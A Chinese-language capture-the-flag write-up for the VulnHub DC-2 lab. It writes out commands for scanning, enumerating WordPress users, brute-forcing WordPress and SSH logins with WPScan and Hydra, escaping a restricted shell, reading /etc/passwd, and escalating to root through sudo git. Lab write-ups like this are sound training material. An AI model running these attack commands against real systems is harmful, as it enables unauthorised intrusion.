VulnHub靶机之靶机dc-2攻略
字数 1491 2025-08-10 20:35:57

DC-2 靶机渗透测试完整攻略

一、信息收集阶段

1. 初始扫描与域名解析

nmap快速扫描

nmap -sV -T4 10.9.46.80

发现问题

  • 浏览器访问http://10.9.46.80无法正常显示页面
  • URL地址栏提示http://dc-2域名
  • 本地无法解析域名dc-2

解决方案
编辑/etc/hosts文件,添加靶机IP地址及对应域名:

10.9.46.80 dc-2

Hosts文件作用

  • 系统访问网站时首先查询Hosts文件寻找对应IP
  • 可解决GitHub、Coursera等网站访问问题
  • 对于某些服务器(如Lotus、数据库服务器),必须使用服务器名而非IP访问

2. nmap深度扫描结果

开放端口

  • 80端口(http)
  • 7744端口(ssh)

服务器信息

  • Apache版本:2.4.10
  • CMS版本:WordPress 4.7.10
  • 内核版本:Linux 3或Linux 4

CMS说明

  • CMS(Content Management System):网站内容管理系统
  • WordPress(WP):使用PHP编写的流行开源CMS

3. 敏感目录扫描

使用工具如dirb、dirbuster扫描网站目录结构,寻找:

  • 后台登录页面
  • 配置文件
  • 备份文件

4. 网页源码分析

查看网页源码可确认CMS版本信息,如:

<meta name="generator" content="WordPress 4.7.10" />

二、威胁建模与漏洞扫描

1. WPScan工具使用

基本扫描命令

wpscan --url http://dc-2/ --enumerate

常见错误处理

Scan Aborted: The URL supplied redirects to http://dc-2/

解决方案:

  • 使用--ignore-main-redirect选项
  • 或直接使用重定向后的URL(http://dc-2/)

2. 用户枚举

wpscan --url http://dc-2/ --enumerate u

发现用户

  • tom
  • jerry

3. 密码爆破

使用cewl生成字典

cewl http://dc-2/ -w dc2_passwords.txt

WPScan爆破

wpscan --url http://dc-2/ --passwords dc2_passwords.txt --usernames users.txt

Hydra爆破SSH

hydra -l tom -P dc2_passwords.txt ssh://10.9.46.80:7744

三、渗透测试实施

1. WordPress后台登录

获取的凭证

  • tom: [password]
  • jerry: [password]

登录后发现

  • 两个flag(flag1和flag2)
  • 文件上传功能(但有严格过滤)

2. SSH访问

使用tom凭证登录

ssh tom@10.9.46.80 -p 7744

受限shell问题

  • 大多数命令无法使用
  • 发现less命令可用

获取flag3

less flag3.txt

3. 突破受限shell

方法一

BASH_CMDS[a]=/bin/sh
a
/bin/bash
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin

方法二(vi拿shell)

vi
:!/bin/bash

4. 信息收集(突破后)

用户信息

cat /etc/passwd

内核版本

uname -a

特殊权限

find / -perm -4000 -type f 2>/dev/null

5. 提权方法

发现git有SUID权限

sudo git -p --help

在帮助界面执行命令

!whoami
!bash

最终获取root权限

sudo git -p --help
!/bin/bash

四、总结与关键点

1. 渗透思路

  1. 信息收集(nmap扫描、目录扫描)
  2. 识别WordPress漏洞(WPScan)
  3. 用户枚举与密码爆破
  4. 多平台尝试相同凭证(Web后台→SSH)
  5. 受限环境突破
  6. 特权提升(SUID滥用)

2. 关键工具与技术

WPScan

  • WordPress专用漏洞扫描器
  • 可枚举用户、插件、主题
  • 内置爆破功能

Cewl

  • Kali自带字典生成工具
  • 从目标网站抓取内容生成密码字典

受限环境突破

  • 环境变量修改
  • 可用命令利用(如less、vi)
  • 路径重置

提权方法

  • GTFOBins(git提权)
  • SUID权限滥用
  • 内核漏洞利用

3. 经验教训

  1. 敏感性

    • 注意nmap扫描出的CMS版本信息
    • 同一凭证可能在多平台复用
    • 特殊权限文件是提权关键
  2. 工具熟练度

    • WPScan参数使用
    • 密码字典生成与优化
    • 受限环境应对
  3. 思路扩展

    • WordPress靶机的标准渗透流程
    • 从Web到系统的横向移动
    • 多种提权方法尝试

4. 参考资源

  1. GTFOBins - git提权
  2. Cewl使用指南
  3. Linux文件查看命令
  4. vi拿shell技巧
DC-2 靶机渗透测试完整攻略 一、信息收集阶段 1. 初始扫描与域名解析 nmap快速扫描 : 发现问题 : 浏览器访问http://10.9.46.80无法正常显示页面 URL地址栏提示http://dc-2域名 本地无法解析域名dc-2 解决方案 : 编辑 /etc/hosts 文件,添加靶机IP地址及对应域名: Hosts文件作用 : 系统访问网站时首先查询Hosts文件寻找对应IP 可解决GitHub、Coursera等网站访问问题 对于某些服务器(如Lotus、数据库服务器),必须使用服务器名而非IP访问 2. nmap深度扫描结果 开放端口 : 80端口(http) 7744端口(ssh) 服务器信息 : Apache版本:2.4.10 CMS版本:WordPress 4.7.10 内核版本:Linux 3或Linux 4 CMS说明 : CMS(Content Management System):网站内容管理系统 WordPress(WP):使用PHP编写的流行开源CMS 3. 敏感目录扫描 使用工具如dirb、dirbuster扫描网站目录结构,寻找: 后台登录页面 配置文件 备份文件 4. 网页源码分析 查看网页源码可确认CMS版本信息,如: 二、威胁建模与漏洞扫描 1. WPScan工具使用 基本扫描命令 : 常见错误处理 : 解决方案: 使用 --ignore-main-redirect 选项 或直接使用重定向后的URL(http://dc-2/) 2. 用户枚举 发现用户 : tom jerry 3. 密码爆破 使用cewl生成字典 : WPScan爆破 : Hydra爆破SSH : 三、渗透测试实施 1. WordPress后台登录 获取的凭证 : tom: [ password ] jerry: [ password ] 登录后发现 : 两个flag(flag1和flag2) 文件上传功能(但有严格过滤) 2. SSH访问 使用tom凭证登录 : 受限shell问题 : 大多数命令无法使用 发现 less 命令可用 获取flag3 : 3. 突破受限shell 方法一 : 方法二(vi拿shell) : 4. 信息收集(突破后) 用户信息 : 内核版本 : 特殊权限 : 5. 提权方法 发现git有SUID权限 : 在帮助界面执行命令 : 最终获取root权限 : 四、总结与关键点 1. 渗透思路 信息收集(nmap扫描、目录扫描) 识别WordPress漏洞(WPScan) 用户枚举与密码爆破 多平台尝试相同凭证(Web后台→SSH) 受限环境突破 特权提升(SUID滥用) 2. 关键工具与技术 WPScan : WordPress专用漏洞扫描器 可枚举用户、插件、主题 内置爆破功能 Cewl : Kali自带字典生成工具 从目标网站抓取内容生成密码字典 受限环境突破 : 环境变量修改 可用命令利用(如less、vi) 路径重置 提权方法 : GTFOBins(git提权) SUID权限滥用 内核漏洞利用 3. 经验教训 敏感性 : 注意nmap扫描出的CMS版本信息 同一凭证可能在多平台复用 特殊权限文件是提权关键 工具熟练度 : WPScan参数使用 密码字典生成与优化 受限环境应对 思路扩展 : WordPress靶机的标准渗透流程 从Web到系统的横向移动 多种提权方法尝试 4. 参考资源 GTFOBins - git提权 Cewl使用指南 Linux文件查看命令 vi拿shell技巧